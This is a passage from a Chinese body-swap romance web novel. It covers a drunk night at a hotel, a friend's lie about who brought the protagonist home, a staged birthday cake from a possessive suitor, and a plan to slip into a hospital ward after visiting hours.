白越唇边的笑意更深。他低头,用只有两人能听到的音量,极轻地说:“宝宝,我带你回去。”然后抬眼看向祈愿,带着歉意:“还麻烦你不要告诉他我来过,我不想扫他的兴。” 祈愿看着几乎完全窝在白越怀里的沈恪,又看看白越,喉咙发堵,最终也只憋出一个字: “……行。” 白越点头,扶着沈恪转身离去。 祈愿站在原地,看着那两道身影消失在走廊尽头。不知道为什么,心里那股烦躁非但没散,反而像火上浇油,噌地一下烧得更旺,堵得他呼吸都不畅快。 他低低骂了句脏话,转身大步走向吸烟室,摸出烟盒和打火机,抖出一根叼在嘴里,点燃。 咔嚓。 火苗蹿起,他深吸了一口,然后缓缓吐出,看着灰白色的烟圈在吸烟室里扭曲扩散,最终消散在换气扇的嗡鸣声中。 肺部一阵烧灼感,尼古丁安抚了紧绷的神经,理智重新占据上风。 舒服了点。也冷静了些。 可冷静下来,脑子里却更乱了。 白越是个不折不扣的混蛋,偏执,虚伪,控制欲强到吓人。 可他祈愿呢?刚才纠结退缩眼睁睁看人被带走,难道就高尚了?不,当然不,他也是混蛋。为了可笑的利弊权衡,选择了最安全懦弱的做法。 把一个人,像件物品一样,转让给了另一个更危险的人。 那个壳子里不知道是谁的傻蛋,真的会喜欢被这样对待吗?人是有主体性的,有自己的想法和感受。他现在醉着,当然什么都不知道,可等他醒了呢?如果他知道自己像个包袱一样被丢来丢去,会是什么感觉? 那人会反感的吧? 算了。 祈愿用力吸了口烟,烦躁地甩了甩头。 想这些有什么用?人都已经不在他怀里了。现在该操心这些的,是白越。至于那个冒牌货……他自己选的“男朋友”,自己受着吧。 想通这点,心里那点愧疚与担忧也跟烟头上的火星点子一样被烧成了灰烬。他摁灭还剩大半截的香烟,扔进垃圾桶,转身就走。 回到卡座,安阳正龇牙咧嘴地向顾云岚挥着拳头,一看见他,就忍不住嘴贱: “呦呦呦,祈狗!我温大爷呢?怎么就你一个人灰溜溜回来了?” 祈愿撩起眼皮瞥了他一眼,心情正差,懒得废话。 “少问屁话,他回酒店了。”他一屁|股在沙发上坐下,仰头灌了一大口凉透的酒,“继续喝,晚上去酒吧开黑。” 冰凉的液体滑下喉咙,却浇不灭心里那股说不清缘由的火气。 *** 电梯抵达楼层。 白越半扶半抱着沈恪将人带出电梯。沈恪醉得迷迷糊糊,脚步轻飘飘的落不到地上,几乎全身重量都倚在他身上。白越一手稳稳揽着他的腰,另一只手从他外套口袋里摸出门卡,刷卡,开门。 房间拉着窗帘,一片昏暗。白越将沈恪小心地放在床边坐下,沈恪身体软绵绵的,刚沾到床沿,就像没骨头似的要歪倒。白越及时伸手,掌心抵住他的后背,将他轻轻按回去。 “坐好,宝宝。”他的声音在黑暗中响起,比平时更低柔,像哄孩子。 沈恪含糊地嗯了一句。他努力想睁大眼睛看清眼前的人,眼神却依旧涣散迷蒙。 白越蹲下身,单膝跪在地毯上,开始帮他脱鞋。 他先解开了鞋带,然后一只手托住沈恪的脚踝,另一只手握住鞋跟,慢慢将鞋子褪下。脚踝很细,握在掌心里能清晰地感受到骨骼的轮廓。 第一只鞋顺利脱下。白越将它摆到一边,又去脱另一只。 刚脱第二只时,沈恪忽然瑟缩了一下,喉咙里发出哼笑。 “痒……” 白越动作一顿,抬眼看去。沈恪正低头看着他,眼睛弯成了月牙,脸上红扑扑的,带着傻气。 “你碰到我痒痒肉了……”他嘟囔着,声音含混,却透着亲昵,脚趾无意识地蜷缩了一下,蹭过白越的手心。 那一瞬间的触感,柔软,温热,带着一点潮湿的汗意,像羽毛轻轻搔刮过最敏感的神经。 白越呼吸微滞,维持着蹲跪的姿势仰视他。昏暗暧昧的光线里,这个由上而下的角度让沈恪泛红的脸有种天真脆弱的诱惑感。 他沉默了两秒,才缓缓开口,声音更哑了些:“哪里是痒痒肉?” 沈恪似乎被他问住了,眨了眨眼睛,然后傻笑着,用那只还没被握住的小腿,轻轻踢了踢白越的手腕。动作不重,更像是一种无意识的撒娇。 “就、就这里嘛……”他含糊地比划着,指尖虚虚点向自己的脚踝内侧,“碰到就痒,嘿嘿……” “这里啊……” 白越垂下眼,掩去眸中翻涌的情绪,他没有再问,只是手上的动作变得更加缓慢,更加刻意。 指腹近乎探索般压过那片皮肤,甚至若有似无地,用指甲轻轻地刮蹭了一下。 “哎呦!”沈恪猛地一颤,整个人都弹了一下,笑声再也憋不住,咯咯地溢了出来,试图把脚收回来,“别、别弄……真的好痒……哈哈哈……” 白越稳稳地握着他的脚踝没有松手,抬头看他笑得浑身发软的模样,嘴角微勾。 他的小鹌鹑,怎么这么……可爱。 可爱到让他想用更过分的方式,听听他发出别的声音。 “好,不弄了。”他终于开口,声音平静,仿佛刚才那个刻意使坏的人不是他。他手下用力,利落地将另一只鞋也脱了下来,整齐地摆放在第一只鞋旁边。 然 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想捏住那截后颈,想用嘴唇丈量那酡红脸颊的温度,想撬开那无意识微张的唇瓣,尝尝里面是否也浸透了伏特加的烈度,更想将人用力揉进怀里,用更紧密更醉生梦死的方式确认一番归属权问题,再将人弄得水光粼粼的,只能哽咽着软绵绵的求饶。 他想,他当然想,额头,耳朵,嘴唇,脖颈,掌心,脚踝,没有一处是他不想的。 但不行。 不能是现在。不能是这样。 白越将沈恪轻轻推开,打开了床头灯,蹲在沈恪面前,视线与他齐平。 “宝宝,”他伸手,指尖轻轻拂开沈恪额前汗湿的碎发,“身上都是酒味,我们换件舒服的衣服再睡,好不好?” 沈恪醉眼朦胧地辨认了会儿,才迟钝地点头傻笑道:“好……白越……你真好……” 白越……真好? 白越的心像是被这句话不轻不重地挠了一下,有点痒,更多的是突如其来的胀痛。他深吸一口气,不再说话,开始动手帮沈恪脱掉外套。 动作很慢很仔细,尽量避免了直接碰触。但那小醉鬼并不配合,手臂软绵绵的,抬不起来。白越不得不更靠近些,几乎将人半圈在怀里,才能将外套褪下。 距离近得呼吸可闻。 白越的目光落在沈恪近在咫尺的脖颈,醉酒后的皮肤泛着粉红,想留下标记的冲动野兽般啃噬着神经。 他不动声色地移开视线,继续解纽扣。一颗,两颗……更多的皮肤暴露开。 当最后一颗纽扣解开,衣服松松地挂在沈恪肩头时,白越的动作停了下来。 他的手指悬在沈恪的腰际,指节微屈,几乎已经触碰到了温热的皮肤。只要再往前探入一寸,就能彻底掌握那截腰身。 只要再往前一点…… “冷……” 一声模糊的呓语从沈恪唇间逸出。他无意识地瑟缩了一下,像是肌肤暴露后被秋日的冷意激到,身体本能地寻找温暖源,微微前倾,将额头抵在了白越的肩上。 一盆骤然浇下的冰水,熄灭了白越眼底翻腾的欲|火,也让他悬停的手指彻底僵住。 他闭上眼,额角青筋隐现。 “……嗯……” 沈恪又无意识地哼了一声,往他肩窝处蹭了蹭。 白越猛地抽回了手,指尖蜷起,攥成了拳。他睁开眼,眼底的暗色被强行压制处,取而代之的是一种近乎痛苦的克制。 不能是在他毫无知觉的时候。不能是这具属于别人的身体。 他要的,从来不是一次趁人之危的掠夺。 他要的是沈恪的灵魂,清醒的,自愿的,哪怕是被他所引导的“自愿”也无所谓,他要他完完整整地只属于自己,也只要他完完整整地属于自己。 白越最终只是拿起干净的家居服,动作轻柔地帮沈恪换上。指尖不可避免划过皮肤带起了细微的战栗,但他手稳得没一丝颤抖。 换好衣服,他将沈恪放倒盖好被子。沈恪一沾到枕头,便发出舒服的嘟囔,蹭了一蹭,很快呼吸变得均匀绵长,沉沉睡去。 白越站在床边,看了他很久。 昏黄的灯光为沈恪的睡颜镀上一层柔和的金边,看起来纯净而无害。可白越知道,这具皮囊下,藏着一个能搅动他所有情绪的灵魂。 他缓缓弯下腰,在距离沈恪唇瓣只有寸许的地方停住。温热的呼吸交织,他能闻到沈恪唇齿间残留的酒香。 最终吻没落下。 不行。 他想要的,从来不是这样的触碰。 一个毫无知觉的吻,有什么意思?不过是一具温热的躯壳,一片沉默的皮肤。 他要的,远比这贪婪得多。 他想要的是那双总是湿漉漉的眼睛,在情动时氤氲起雾气,渴求地望向他;他想要的是那片总是吐出柔软话语的嘴唇,在欢愉难耐时,情不自禁地颤抖着亲吻上来;他想要的是那个总是小心翼翼的灵魂,在被他彻底点燃后,抛开所有顾虑和伪装,从里到外心甘情愿地为他敞开。 他要证明这个灵魂会因他动摇,为他沉沦。 只有这样,他心底那头总是焦躁盘旋的野兽才能被安抚,那份挥之不去的饥渴才能被真正满足。 现在这样偷来的吻,只会让他在短暂的满足后,陷入更空洞更灼人的焦躁。 可又实在心焦。 白越叹了口气。他伸出手,摊开掌心,轻轻垫在了沈恪温热的额头上,隔开了自己的嘴唇与那片肌肤。 然后低头极轻极珍惜地将吻落在自己手背上。 停留了几秒,才缓缓直起身,收回了手。掌心似乎还残留着那份暖意。 “睡吧,宝宝。” 22. 生日快乐 沈恪是被头痛搅醒的。 太阳穴像被两个不停喊着八十八十的小人轮流敲打,他皱着眉睁开眼,盯着天花板看了好一会儿,才慢慢撑起身体。 Heartbeat Haven……对,他去了酒吧,喝醉了,然后呢? 脑子里只剩下几个模糊的画面:淡金色的酒液,冰块碰撞的脆响,祈愿捂着他眼睛的手……还有谁在耳边说话? 他甩甩头,试图回忆,却只换来更剧烈的头痛。 算了,想不起来。 只记得酒很好喝。 他下了床,刚准备去洗漱,却在路过祈愿的床位时猛地顿住。 好冲的酒味。 祈愿的白色被单鼓成一团,底下明显藏着个人。几件衣服胡乱丢在床尾,酒气就是从那里散发出来的。 沈恪犹豫了一下,还是挪到祈愿床边蹲下,轻轻推了推那个鼓包,小声问:“祈愿?你还好吗?” 无人应答。 被子里的祈愿其实早就醒了。 从沈恪下床,到他停在自己床边,每一步他都听得清清楚楚,他甚至能想象出沈恪此刻蹲在床边一脸担忧的模样。 不太好,你快走吧。 祈愿闭着眼睛,在心里无声地说。 现在的他还不是很想面对沈恪。 “我去给你倒杯水吧?”沈恪的声音又响起来,带着点关心。 不要去。 几乎是下意识的,一只手猛地从被窝里伸出来,抓住了沈恪的手腕。 “不关你事,”祈愿的声音隔着被子传出来,闷闷的,有些哑,“你少管我。” 这话怎么听着和温清然那混蛋一个调调? 沈恪愣了一下,随即弯了弯嘴角。 这俩不愧是发小。 他没抽回手,反而顺势在床沿坐了下来:“你昨天几点回来的啊?” “……十一点。” “晚上?” “晚上。” 沈恪瞪大了眼睛。 他记得自己去酒吧的时候才中午十二点不到!竟然喝了那么久? “那我呢?”他追问,“我是几点回来的?” 祈愿沉默了。 安静了许久,久到沈恪以为他又睡着了,才听到他的声音: “……我们一起回的。” 话音刚落,祈愿就恨不得咬掉自己的舌头。 他为什么要撒这个谎?有必要吗?直接把“你是被白越接走的”说出来不就行了?现在这样算什么? 沈恪哦了一声,若有所思。他低头看了看自己身上干净柔软的家居服,又想起昨晚烂醉如泥的自己,脸颊有点发烫。 “那我的衣服……”他声音更小了,“也是你帮忙换的吗?” 这一次,祈愿沉默得更久,才说道: “是我。” 本来应该是我。 这个念头狠狠扎进了他心里。 祈愿,你真卑劣。不仅卑劣,你还懦弱。你看不惯白越,却在这里顶替了那人做的事,是想做什么? 可他又忍不住想:应该,也没有关系? 反正白越自己说的,“不要告诉他我来过”。那是白越亲口说的话,亲口划下的界线,而且看样子那个笨蛋自己也不知道昨天是怎么回的酒店。 既然白越主动选择了不被知道,那他祈愿为什么不能…… 他及时掐断了这个念头。 太无耻了。 他甚至比白越好不到哪里去。白越至少敢做敢认,只是藏着不让沈恪知道。而他呢?他连做的那一步都没有迈出,却在这里偷偷觊觎着不属于自己的功劳。 哥谭市中你最狂,马戏团中你最忙,麦当劳前你站岗,扑克牌中大小王? 这不纯小丑嘛。 沈恪完全不知道祈愿的心路历程,只觉得对方贴心,脸上漾开了一个大大的笑容。 “谢谢你啊!祈愿。”他声音轻快起来,“酒味真的太大了,还好你帮我换了。不然我肯定要臭烘烘地睡到中午。” 那感谢太真诚,反而让祈愿更加无地自容。 “你再躺会儿吧,我开窗通通风。”沈恪说着站起身走到了窗边,哗啦一声拉开了窗帘。 阳光和风一起灌了进来,瞬间驱散了房间里的酒气。沈恪深吸了一口新鲜空气,回头对床上那一团说:“你等我一下嗷,我去楼下帮你带杯热牛奶上来解解酒!” 说完,不等祈愿回应,他就拉开门跑了出去。脚步声很快消失在走廊尽头。 直到门被轻轻带上,房间里彻底安静下来,祈愿才猛地从被窝里探出头。 那头嚣张的蓝发因为一夜的嗨闹有些凌乱,眼底带着血丝。 神经。 他在心里一遍遍地唾弃自己。 你顶替了白越做的事,是想证明什么?证明你也能照顾他?证明你比白越好?还是想从他那里,偷一点虚假的亲近和感激? 别开玩笑了,你又不是给子,这么做何意味? 他用力抹了把脸,然后重新缩回被子里,将自己包裹进那片熟悉的黑暗里。 烦。 *** 接下来的几天,日子像被按下了快进键。 沈恪每天醒来的第一件事,就是雷打不动地前往市中心医院。即使温清然依旧拒绝见面,他也渐渐习惯了。他会握着手机,絮絮叨叨地说上很久。说说天气,说说早餐吃了什么,说说昨天又和祈愿他们去了哪里。 温清然的态度比最初好了不少,虽然依旧狗嘴里吐不出象牙,十句话里有九句是在嘲讽或抱怨,但至少不再像初见时那样一身是刺。偶尔,在沈恪说到某个蠢事时,电话那头甚至会传来一声无可奈何的嗤笑。 尽管聊了这么多天,关于如何换回身体的有效信息依旧寥寥无几,但沈恪觉得,至少他帮温清然解了闷,也不算太坏。 一个人被困在病弱的身体里的孤独感受,他太清楚了。 等电话结束不多久,他往往会被祈愿以各种理由揪走。安阳和顾云岚通常也在,四个人像真正的大学好友一样,把A市逛了个遍。 他们去游乐场,在过山车上尖叫,在碰碰车里撞成一团;去剧院看晦涩难懂的话剧,沈恪看得一头雾水,安阳在旁边睡得打呼;去水族馆看优雅游弋的白鲸和笨蛋海狮;去体育馆看激烈的球赛,跟着人群一起呐喊;去赛车场聆听引擎的轰鸣,感受速度与激情…… 沈恪第一次如此真切地感受到,什么是青春。 ——一段三句叫不来狗自己就能霍吧霍吧把史拌了吃的奇怪岁月。 鲜活,吵闹,充满无意义的快乐和肆无忌惮的大笑。这一切都和他过去十八年苍白的生活完全不同,他像一块干燥的海绵,贪婪地吸收着这些陌生的色彩和声音。 要说美中不足的,就是祈愿了。 他的态度总是怪怪的。有时候玩得正开心,沈恪一回头,就能撞上祈愿看过来的目光。每次被他发现,祈愿就会立刻转过头去,假装在看风景。 有一次在摩天轮上,沈恪终于忍不住问了出来:“祈愿,我最近是不是做了什么让你不舒服的事?” 祈愿正看着窗外,闻言侧过头。阳光透过玻璃照在他脸上,他看了沈恪几秒,忽然伸出手,用力揉了揉沈恪的头。 “白痴。” 沈恪被揉得脑袋发晕,有些委屈地扁扁嘴:“骂人真难听……” 祈愿没再说话,只是收回了手,重新看向窗外。车厢缓缓下降,将那一瞬间的微妙气氛也一并带入了下一日。 日子就这样晃啊晃啊,荡到了七号。 *** 七号清晨,沈恪醒得格外早。 窗外的天光还是鱼肚白,他就已经睁开了眼,轻手轻脚地爬起来。 洗漱,换上一件他觉得最好看的衣服,对镜子练习了几次微笑,又觉得有点傻,讪讪地停了下来。 他在花店门口犹豫了很久,才在店员的建议下最后买了一小束红豆,然后抱着这束花,在约定的地点来回踱步。 急,很急。 一会儿见到了白越要说什么? 我在A市玩得很开心?不行不行,白越一个人在C市孤零零的,说这个不是刺激他吗? 好久不见我好想你?不行不行,隔着电话说说还行,面对面……他光是想想就觉得脸颊要烧起来。 今天其实是我的生日?更不行了。他现在是温清然,真正的沈恪还在医院躺着呢,说这个只会让白越觉得他有问题。 怎么办怎么办怎么办。 他脑子里乱糟糟的想着,直到一双手从身后轻轻蒙住了他的眼睛。 视野骤然陷入黑暗。 “哎?” 沈恪吓了一跳。 他没有从出站口的人流里看到白越啊?他是怎么突然出现的? 熟悉的气息包裹过来,带着一点清冽的的香气。含笑的声音在他耳边响起,温热的呼吸拂过耳廓: “猜猜我是谁?” 沈恪的脸唰地红了。他下意识地抬手,去拉下那只蒙住自己眼睛的手。 “白越……别闹了。” 他低下头转过身,把手里的花束递过去,脸蛋红得快要滴血:“这个是送给你的花!” 白越就着他递过来的姿势,从善如流地低下头。他没有立刻去接花束,而是近乎虔诚地,在沈恪裸露的手背上落下一个羽毛般轻柔的吻。 温软的触感一触即分,却令沈恪整个人都直接呆住,大脑一片空白。 刚刚是……被白越亲了? 沈恪的CPU都要烧了。 白越满意地看着他瞬间恍惚的反应,这才接过那束花,仔细看了看,是红豆枝,青翠的叶子间缀着点点丹红。 他的指尖轻轻拂过那些圆润的豆粒,看着还在魂游天外的沈恪,语气温柔得能滴出水来: “相思豆……宝宝是想我想得睡不着吗?” 沈恪的脸腾地红透了。 迟来的热度轰然席卷,从被吻过的手背一路烧到脸颊、耳朵、脖颈。沈恪感觉自己整个人都要冒烟了,被白越牵着,迷迷糊糊地跟着走,像是踩在云端。 直到坐进副驾,他才慢慢找回一点实感,摸了摸发烫的脸颊,小声开口:“我们这是要去哪呀?” “去市中心,我定好了饭店。”白越将花束小心地放在后座,系好安全带,侧过头看他,“宝宝有什么特别想去的地方吗?” “按理说应该是我带你去逛A市才对……”沈恪下意识地说,随即想起什么,眼睛微微亮了起来,“对,白越!我这几天去了好多好多地方!有游乐场,我们玩了海盗船和碰碰车,安阳开车超级莽。还有水族馆,看到了海狮,长得好傻哦一直在嗷嗷嗷嗷叫,祈愿还说我就特别像那只邪恶海茄子……还有还有……” 他越说越开心,手也不自觉地比划起来,眼睛亮晶晶的,像是要把这几天积攒的所有快乐都分享出来。 直到他说了好一会儿,才发现白越只是静静地看着他,脸上带着温柔的笑意,却没有接话。 沈恪的声音渐渐弱了下去,高涨的情绪像被戳破的气球,迅速瘪了下去。他后知后觉地意识到,自己又在得意忘形了。他忘记了,这些快乐,是他丢下白越一个人,自己偷跑出来享受的。 真过分。 “对不起,我不该说这些的……” 白越看着他瞬间耷拉下来的脑袋,轻笑出声。 他伸出手,掌心轻轻抚上沈恪微微发烫的脸颊,指腹擦了擦,手感好得让他忍不住想再多演一会。 但还是算了。 他的小鹌鹑不是很经逗。 “怎么这么笨呀,宝宝。”白越的声音里带着纵容的叹息,“我不会怪你的。” 沈恪眼眶一热,他再也忍不住,倾身过去,把脸埋在白越的肩窝,声音有些哽咽:“你怎么这么好啊……” 他都快被这反复折磨的愧疚感淹没了。 白越左手控着方向,右手顺势将人稳稳揽进怀里,轻轻拍着他的后背。 “因为我们还有很多时间啊。以后,宝宝再陪我一起,把那些地方都去一遍,好不好?” “我们一起去。” “只有我们两个人。” *** 白越带沈恪去的是一家位于A市中心的私房菜馆。白墙黛瓦,曲径通幽,环境清雅得不像是吃饭的地方。 服务员引着他们进入一个临水的包厢。包厢很大,推开雕花木窗,就能看到一池残荷和嶙峋的假山。圆桌上已经摆好了精致的菜肴,热气袅袅,香气扑鼻。 沈恪被这阵仗惊 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他连忙反手握住白越的手,语无伦次地解释:“就我们两个人!不叫别人!我和你一起!这些菜我们慢慢吃,吃不完就打包……” 看着白越脸上失落的神色并未完全散去,沈恪急得快要哭了。情急之下,他红着脸,学着白越刚才的样子,牵起对方的手,也贴到自己滚烫的脸颊上蹭了蹭,笨拙地试图安抚:“你别难过了……我、我只是怕浪费,我们好好吃,只有我们两个,好不好?” 白越感受着手背上传递来的热度和触感,看着对方急得眼圈发红的模样,眼底深处掠过餍足的笑意。 真好骗。 他反手轻轻捏了捏沈恪的脸颊,终于露出笑容:“好。听宝宝的。” 沈恪这才如释重负地松了口气。 菜很好吃。白越显然很了解他的口味,点的每一道都合他心意。沈恪吃得很开心,暂时把刚才的插曲抛到了脑后。 就在用餐接近尾声时,包厢的门被轻轻敲响。服务员推着餐车走了进来,餐车中央,是一个造型精美的奶油蛋糕。蛋糕上插着细细的数字蜡烛“2”和“0”。 服务员脸上带着标准的甜美微笑,声音清脆:“祝您生日快乐!” 沈恪愣住了,下意识地看向白越。 白越神色如常。他拿起一旁的蛋糕刀,切下一小块后用碟子盛好,递到沈恪嘴边。 “宝宝,”他声音温柔,“啊——” 沈恪看着递到嘴边的蛋糕,又看看那块写着20的蜡烛,再看向旁边的服务员,脑子里嗡的一声。 今天……是“沈恪”的生日。是他的生日。 可是,白越怎么会知道?不对,白越知道的应该是温清然的生日,不是今天。 更别说那个蜡烛上的年纪也不对,“沈恪”今天才刚满19岁。 是弄错了吧。 强烈的酸涩猛地冲上鼻腔。沈恪眼眶瞬间就红了,他慌忙用手背擦了擦眼睛,对着服务员用力摇头,声音哽咽:“您送错啦!今天……今天没有人过生日!” 服务员哎了一声,露出困惑的表情,看向白越:“是栗香园包厢没错啊……” 白越依旧笑眯眯的,语气温和地提醒:“麻烦您再确认一下门牌?” 服务员对上白越的眼神,后退一步,瞥了眼门框上的牌子,随即露出夸张的表情:“哎呀!真的送错了!是隔壁的客人过生日!实在抱歉!” 但他脸上的笑容丝毫未变,甚至更加热情:“不过既然蛋糕已经推来了,也切开了,这份就当作我们店里的歉意,送给二位了。祝二位用餐愉快!” 说完,他微微躬身,退出了包厢,轻轻带上了门。 沈恪全程目瞪口呆。 还能这么操作? 白越将手里那碟蛋糕又往他嘴边递了递,指尖不经意般擦过他的下唇:“既然送错了,也是缘分。尝尝看?听说这家的甜品师傅很有名。” 沈恪看着近在咫尺的蛋糕,上面那颗鲜艳的草莓,还有白越温柔注视的目光。刚才强压下去的酸涩感再次汹涌而至,比之前更加猛烈。 他张开嘴,任由白越将那一勺甜蜜送入口中。 甜腻的滋味在舌尖化开,却怎么也压不住心底翻腾的浪潮。 他低着头,一口一口吃着白越喂过来的蛋糕,眼泪再也控制不住,大颗大颗地滚落下来,混进奶油里,被他无声地咽下。 “怎么了,宝宝?”白越放下碟子,抽出纸巾,轻轻擦去他脸上的泪痕,语气关切,“是蛋糕不好吃吗?还是……想起什么了?” 沈恪用力摇头,说不出话,只是眼泪流得更凶了。 如果没有和温清然交换身体,此时的他在哪里呢? 大概还是在那个熟悉的病房里,窗帘半拉着,床头摆着妈妈托人送来的水果篮,卡片上写着简短的“生日快乐”,字迹匆忙。 爸爸来不了,妈妈也来不了,妹妹要提早返校,每个人都有自己要忙的事。忙着赚钱养家,忙着升学,忙着未来。他们会打视频,会笑着说“了不起的小恪又长大了一岁”,会叮嘱他好好听医生的话。然后挂断电话,病房重新安静下来。 他不怪他们,只怪自己的身体不争气,只是……真的有一点孤独,救一点点。 “我没事的。”沈恪哽咽着,抓住白越替他擦眼泪的手,把脸埋进那微凉的掌心。 他像个受了委屈终于找到依靠的孩子,把那些年藏起来的孤独、那些埋在“没关系”背后的失落、那些从不敢奢望的温暖,全部倾泻了出来。 “谢谢你,白越。” 谢谢你让我知道,原来生日可以不只是一张挂历上的数字。 白越任由他抓着,另一只手轻轻拍抚着他的背。他的目光落在沈恪的发顶,看着他因哭泣而颤动的肩膀,眼底深处那温柔的表象下,是深不见底的的漆黑。 他当然知道今天是谁的生日。 他也知道,那个名为“沈恪”的少年,此刻正躺在哪家医院的哪间病房。 他只是故意这么安排,目的也只有一个。 他要他的小鹌鹑,永远记住这一天。 记住,是谁给了他眼泪,又是谁,替他擦去了它。 23. 死过一次 白越带着沈恪回到酒店时,已是下午三点。 沈恪眼眶还有些红,是中午吃饭时没忍住哭过留下的痕迹。他低头解安全带,指头抠了好几下才把卡扣按开。 白越没急着下车,只是侧过身,伸手替他理了理被压乱的衣领。 “宝宝,”他轻声说,“我就先回C市了。” 沈恪抬眼看他,有些意外:“你不和我一起上去吗?晚上我们还能一起回去。” 他原先还打算把白越介绍给安阳他们呢,和温清然的兄弟处好关系,这样哪怕自己换回去了白越也不至于被继续欺负。 白越笑了。 他没有解释什么,只是朝沈恪伸出双手,掌心朝上,安静地等在那里。 沈恪愣了一下,没反应过来这是什么意思。他看着那双手,又看看白越笑眯眯的脸,迟疑地把自己的双手递了过去。 白越顺势握住,十指穿过他的指缝,慢慢扣紧。 沈恪:“……?” 白越将他的手抬起来,轻轻放在自己肩上。那双含着笑意的眼睛始终望着他,什么都不说,又好像什么都说了。 沈恪的脸腾地一下红了。 他飞快地环顾了一下四周。地下停车场这个时段没什么人,远处只有一辆白色大众车安静地趴着。他咬了咬下唇,别别扭扭地倾身,手臂环过白越的肩颈,整个人软软地贴了上去。 白越的下巴抵在他颈窝里,呼吸温热,声音极轻。 “我们还有很多时间相处,不着急这一时。宝宝,明天见。” 沈恪把脸埋在他肩头,闷闷地嗯了一声。 从这个角度,白越恰好能看见他通红的耳廓,还有耳垂上那枚小小的银色耳钉。在停车场昏昧的光线里,那一小片皮肤泛着薄红,像刚熟的樱桃。 和巷弄那天一模一样。 被吓到时也是这副模样,惊慌、无措,却又乖得过分,明明怕得要死,却连逃跑都不会。 白越垂着眼,视线从那枚耳钉慢慢滑向沈恪藏起来的侧脸。 他想起那双眼睛。 每次害羞时都会变得湿漉漉的,蒙着一层薄薄的水光,像雨后的玻璃,干净得让人想伸手碰一碰。 再多碰一下,那双眼睛里是不是就会溢出水来? 真好玩。 让人忍不住想再看看他更多的表情。 白越忽然微微侧头。他没有直接用嘴唇去碰,而是停在一个若即若离的距离,轻轻抿住了那枚冰凉的耳钉。 距离太近,鼻尖几乎要蹭到,呼吸却先一步落上去,温热的气流拂过耳廓那片皮肤,激起细小的战栗。 “!!!” 沈恪整个人像过了电,猛地从他怀里弹开,力道之大,把白越都推得往后靠在了座椅上。 他捂着右耳,一张脸红得几乎要滴血,瞪着白越,嘴唇张了又合,想说“对不起”又想问“你干什么”,两句话在喉咙里打架,最后只挤出一个破碎的字节: “呜……” 白越看着他这副又惊又羞连话都说不利索的样子,眼底的笑意更深了。 他倾身向前,在沈恪耳边轻轻吹了口气。 “宝宝,”他的声音压得很低,带着点调侃,“你怎么这么可爱呀。” 沈恪的脸肉眼可见地更红了。 白越没再逗他,只是伸手揉了揉他的发顶,语气恢复如常:“晚上要早点回。” “……嗯。”沈恪低着头,声音小得像蚊子哼唧。 白越笑了笑,没再说别的。 沈恪推开车门,拎着蛋糕盒子站在路边,看着那辆黑色卡宴缓缓驶出停车场,拐过街角,消失在秋末的天里。他在原地站了好一会儿,才像大梦初醒般,转身走进酒店大堂。 电梯门关上。他靠在镜面墙上,看着镜子里自己红得不正常的脸,用力捂住右耳耳垂。 那块皮肤还残留着一点温热的触感。 他深吸一口气,又慢慢吐出来。 电梯叮一声,到了。 *** 推开门的时候,祈愿正窝在沙发上玩手机。 他两条长腿翘在茶几边缘,姿势懒散得没长骨头,听见开门声,眼皮都没抬,随口道:“搞毛,我说了不去,我要等那傻……” 余光扫进来人的轮廓,他猛地住了嘴。 祈愿以迅雷不及掩耳之势放下手机,放下腿,坐直身体,甚至还欲盖弥彰地咳了两声。 “我还以为是他俩回来了。”他的声音硬邦邦的,像在解释什么。 沈恪歪了歪脑袋,没太在意他的反常:“祈愿?你还在呀,我以为你和安阳他们出去嗨了。” “没。”祈愿的视线从他脸上扫过,停在那双还有点红的眼眶上,“你早上去找温清然了?给你发消息怎么没回。” 沈恪挠了挠脸,有点不好意思:“没有……白越来找我了,我和他吃了顿饭。” 又是他。 祈愿的眉头皱了皱:“他……有对你说什么吗?” 沈恪想到那句可爱,几乎是下意识地,抬手摸了一下右耳耳垂。 刚触到那小块皮肤,他的脸就又开始发热。 祈愿:“……” 得,看来没说。 他收起心里那点说不清道不明的庆幸,从沙发上站起身,对着沈恪努努下巴:“换衣服去。” “啊?” 祈愿从行李箱里拎出一件叠得整整齐齐的灰色衬衫,是出发前新买的,比初见时那件杀马特黑色骷髅头T恤不知正常了多少倍。 沈恪凑过来,撑着膝盖微微躬身,歪着脑袋打量那件衬衫,真诚赞叹:“这件衣服好看多了诶!” 他离得太近。 祈愿甚至能感受到突然靠近的热度。 他不自在地别开眼,哼了一声:“毕竟要去见温清然。” 沈恪一愣:“是有什么事吗?” 祈愿抬手,在他额头上不轻不重地弹了一下。 “他是不是不想换回来?” 沈恪摸了摸被弹红的额头,老老实实点头。 “所以我是去给他做思想工作的。”祈愿说。 沈恪若有所思,片刻后,眼睛一亮:“原来之前是思想工作没做到位他才不肯换回来的吗?!” 当然不是了,这呆瓜。 “……”祈愿深吸一口气,“想什么呢你。” 他当着沈恪的面脱下外衣,露出精壮的上半身,肌肉线条紧实流畅,随后动作自然地换上那件灰衬衫,扣子一颗一颗系好。 然后他转头,看见沈恪正低头抠蛋糕盒子上的蝴蝶结,毫无反应。 祈愿:“……” 他沉默地捏了捏自己的肱二头肌。 为什么一聊到白越他就脸红,自己上半身都脱得一件不剩了他还是毫无反应? 难道是白越腹肌比他多? 他决定不再思考这个问题。 *** 然后不出意外的,两个人被拦在了住院部服务台。 护士温声细语地解释探视时间已过,没有预约不能上楼,沈恪小声说了好几遍“我们之前来过”“他认识我们”,得到的只是礼貌而不失坚定的摇头。 沈恪只好用手机打给温清然。 铃声响起,祈愿拍了拍沈恪的肩,直接从他手里抽走手机。 “叫爹,”那头传来懒洋洋的声音,背景音里依稀放着短视频里那种魔性的配乐,“叫了就让你们上来。” 沈恪咬着下唇,没吭声。 他原本以为,经过这几次的联络,自己好歹和温清然打好关系了。 结果还是这样。 温清然真是好喜怒无常的一个人。 祈愿对着手机竖了个中指,然后直接挂了电话。 “叫个屁。”他把手机塞回沈恪手里,“别理这傻逼,他欠揍。” 沈恪看着黑下去的屏幕,有点发愁:“可是……等我下次再来A市,可能都要元旦了。最近的课排得太慢了都找不到机会出门……” 祈愿没说话,拉着他拐进了走廊尽头的卫生间。 “温大少住的那间,值班护士一般几点换班?” 沈恪愣了一下,回忆片刻,报了个数字。 祈愿点点头:“走,趁换班溜上去。” 沈恪微微睁大眼睛:“还能这样?被抓到了怎么办啊!” “傻瓜啊你。”祈愿抬手,又一记脑瓜崩弹在他额头上,比刚才轻些,“那就努力不被抓到就好了,干嘛非要这么老实。” 沈恪捂着额头,小声嘟囔:“可是……” 